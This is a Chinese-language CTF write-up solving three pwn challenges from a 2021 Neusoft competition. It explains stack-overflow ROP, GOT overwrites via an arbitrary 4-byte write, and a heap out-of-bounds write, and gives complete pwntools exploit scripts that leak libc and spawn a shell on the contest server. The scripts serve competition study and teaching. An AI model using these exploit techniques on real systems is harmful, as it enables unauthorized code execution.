东软2021CTF--PWN--wp
字数统计:
1.3k字
|
阅读时长:
7分
第一次吃到东软的瓜,虽然是大连东软的(老NSUer气抖冷)……
justdoit 经过动态gdb发现,如果我们通过栈溢出劫持main
重新运行,那么第二次输入的将放在第一次输入数据的上方。这样通过两次合理输入构造,我们可控的输入空间扩大。就可以在泄露出libc的真实地址的同时,然后mian
程序流中。
1 2 3 4 5 6 7 8 00:0000│ rsp 0x7fffbfe39330 —▸ 0x4012b3 (__libc_csu_init+99) ◂— pop rdi 01:0008│ 0x7fffbfe39338 —▸ 0x404028 (read@got.plt) —▸ 0x7f7373e188b0 (read) ◂— mov eax, dword ptr fs:[0x18] 02:0010│ 0x7fffbfe39340 —▸ 0x401030 (puts@plt) ◂— jmp qword ptr [rip + 0x2fe2] 03:0018│ 0x7fffbfe39348 —▸ 0x4011d5 (main) ◂— push rbp 04:0020│ 0x7fffbfe39350 —▸ 0x40123e (main+105) ◂— add rbp, rax 05:0028│ 0x7fffbfe39358 —▸ 0x4011d5 (main) ◂— push rbp 06:0030│ 0x7fffbfe39360 —▸ 0x40123e (main+105) ◂— add rbp, rax 07:0038│ 0x7fffbfe39368 ◂— 0x0
再通过LibcSearcher 找到system 和 /bin/sh 的真实地址,然后构造rop链get shell。
1 2 3 4 5 6 7 8 00:0000│ rsp 0x7ffc354e6078 —▸ 0x4012b3 (__libc_csu_init+99) ◂— pop rdi 01:0008│ 0x7ffc354e6080 —▸ 0x7f6ad64b269b ◂— 0x68732f6e69622f /* '/bin/sh' */ 02:0010│ 0x7ffc354e6088 —▸ 0x7f6ad6372e10 (system) ◂— test rdi, rdi 03:0018│ 0x7ffc354e6090 ◂— 0x0 04:0020│ 0x7ffc354e6098 —▸ 0x40123e (main+105) ◂— add rbp, rax 05:0028│ 0x7ffc354e60a0 —▸ 0x40123e (main+105) ◂— add rbp, rax 06:0030│ 0x7ffc354e60a8 —▸ 0x4011d5 (main) ◂— push rbp 07:0038│ 0x7ffc354e60b0 —▸ 0x40123e (main+105) ◂— add rbp, rax
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 ''' @File : exp.py @Time : 2021/12/04 17:36:49 @Author : lexsd6 ''' from pwn import * from libcfind import * local_mote=0 elf='./justdoit' e=ELF(elf) context.log_level = 'debug' context.arch=e.arch ip_port=['47.106.172.144' ,65004 ] debug=lambda : gdb.attach(p) if local_mote==1 else None if local_mote==1 : p=process(elf) else : p=remote(ip_port[0 ],ip_port[-1 ]) p.recvuntil('Hi there! What is your name?' ) p.send(p64(0x00000000004012b3 )+p64(0x4011d5 )+p64(0x4011d5 )) p.sendline('-40' ) p.recvuntil('Hi there! What is your name?' ) p.send(p64(0x00000000004012b3 )+p64(0x4011d5 )+p64(0x4011d5 )) p.sendline('-40' ) p.recvuntil('Hi there! What is your name?' ) p.send(p64(0x00000000004012b3 )+p64(e.got['read' ])+p64(e.sym['puts' ])) debug() p.sendline('-40' ) addr=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.info(hex(addr)) x=finder('read' ,addr) p.send(p64(0x00000000004012b3 )+p64(x.dump('str_bin_sh' ))+p64(x.dump('system' ))) p.sendline('-40' ) p.interactive()
reallNeedGoodLuck 分析程序流发现,在进行任意地址覆盖写时。除了exit
函数外的libc函数,都已经延迟绑定完毕。而我们只能覆盖4个字节,单纯操作难以直接修改任何libc为system
,同时发现程序流有exit
函数来控制结束 ,所以只能先覆盖exit函数来控制程序流。继续审计程序代码发现,在我们通过劫持 exit
函数再次进入程序流时 init
函数作用可有可无,同时 init
函数中的setvbuf
函数不仅got地址可以被我们劫持,第一个参数stdin
也受我们控制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 0000000000401166 public init .text:0000000000401166 init proc near ; CODE XREF: main+1C↓p .text:0000000000401166 ; __unwind { .text:0000000000401166 push rbp .text:0000000000401167 mov rbp, rsp .text:000000000040116A mov rax, cs:stdin@GLIBC_2_2_5 // puts.got .text:0000000000401171 mov ecx, 0 ; n .text:0000000000401176 mov edx, 2 ; modes .text:000000000040117B mov esi, 0 ; buf .text:0000000000401180 mov rdi, rax ; stream .text:0000000000401183 call _setvbuf// puts .text:0000000000401188 mov rax, cs:__bss_start .text:000000000040118F mov ecx, 0 ; n .text:0000000000401194 mov edx, 2 ; modes .text:0000000000401199 mov esi, 0 ; buf .text:000000000040119E mov rdi, rax ; stream .text:00000000004011A1 call _setvbuf .text:00000000004011A6 nop .text:00000000004011A7 pop rbp .text:00000000004011A8 retn .text:00000000004011A8 ; } // starts at 401166 .text:00000000004011A8 init endp
因此我们先劫持exit
让其跳转到执行完init
函数处即0x0000000004011CA
位置。然后修改setvbuf
函数为puts
函数。再将stdin
地址改puts
got 地址与劫持exit
函数为完整mian
函数来泄露出真实地址。(其实直接stdin
,就可以泄露出,但本地环境中常泄露出截断符)
然后再将atoi
函数劫持为system
,再传入/bin/sh\x00
即可以getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 ''' @File : exp.py @Time : 2021/12/04 14:33:30 @Author : lexsd6 ''' from pwn import * from libcfind import * local_mote=0 elf='./reallNeedGoodLuck.1' e=ELF(elf) context.log_level = 'debug' context.arch=e.arch ip_port=['47.106.172.144' ,65003 ] debug=lambda : gdb.attach(p) if local_mote==1 else None if local_mote==1 : p=process(elf) else : p=remote(ip_port[0 ],ip_port[-1 ]) def edit (addr,date) : p.recvuntil('good' ) p.send(p32(date)) p.recvuntil('luck! ' ) p.sendline(str(addr)) main_addr_a=0X0000000004011CA main_addr=0x0000000004011A9 edit(e.got['exit' ],main_addr_a) edit(e.sym['stdin' ],e.got['puts' ]) edit(e.sym['stdin' ]+4 ,0 ) edit((e.got['setvbuf' ]),(e.plt['puts' ])) edit((e.got['setvbuf' ] + 4 ),(0 )) debug() edit(e.got['exit' ],main_addr) p.recvline() addr=u64(p.recvuntil('\x7f' ).ljust(8 ,'\x00' )) log.info(hex(addr)) x=finder('puts' ,addr) p.send(p32(main_addr_a)) p.recvuntil('luck! ' ) p.sendline(str(0x404038 )) system_addr=x.dump('system' ) log.info(hex(system_addr)) edit(e.got['atoi' ],u32(p64(system_addr)[:4 ])) edit('/bin/sh\x00' ,main_addr_a) p.interactive()
iterator 在overwrite功能在修改变量大于原数量时,修改数据会越界。把下个chuck数据修改,加个PIE未开,可以劫持got表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 ''' @File : exp.py @Time : 2021/12/05 09:53:58 @Author : lexsd6 ''' from pwn import * from libcfind import *local_mote=1 elf='./iterator' e=ELF(elf) context.log_level = 'debug' context.arch=e.arch ip_port=['47.106.172.144' ,65001 ] debug=lambda : gdb.attach(p) if local_mote==1 else None if local_mote==1 : p=process(elf) else : p=remote(ip_port[0 ],ip_port[-1 ]) def add (num) : p.sendline('1' ) p.recvuntil('List count:' ) p.sendline(str(num)) def ow (listn,st,ed,text) : p.sendline('4' ) p.recvuntil('List id:' ) p.sendline(str(listn)) p.recvuntil('Star id:' ) p.sendline(str(st)) p.recvuntil('End id:' ) p.sendline(str(ed)) p.recvuntil('New number:' ) p.sendline(text) def show (li,it) : p.sendline('2' ) p.recvuntil('List id:' ) p.sendline(str(li)) p.recvuntil('Item id:' ) p.sendline(str(it)) def showall () : p.sendline('5' ) def edit (li,it,text) : p.sendline('3' ) p.recvuntil('List id:' ) p.sendline(str(li)) p.recvuntil('Item id:' ) p.sendline(str(it)) p.recvuntil('New number:' ) p.sendline(text) p.recv() add(1 ) add(2 ) add(3 ) add(4 ) edit(1 ,0 ,'4' ) edit(2 ,0 ,'2' ) edit(2 ,1 ,'3' ) showall() edit(0 ,0 ,'111111' ) ow(0 ,1 ,1 ,str(1 )) ow(0 ,4 ,4 ,str(e.got['atoi' ])) show(1 ,0 ) p.recvuntil('Number:' ) addr=int(p.recvline()) log.info(hex(addr)) x=finder('atoi' ,addr) debug() edit(1 ,0 ,str(x.dump('system' ))) p.sendline('/bin/sh\x00' ) p.interactive()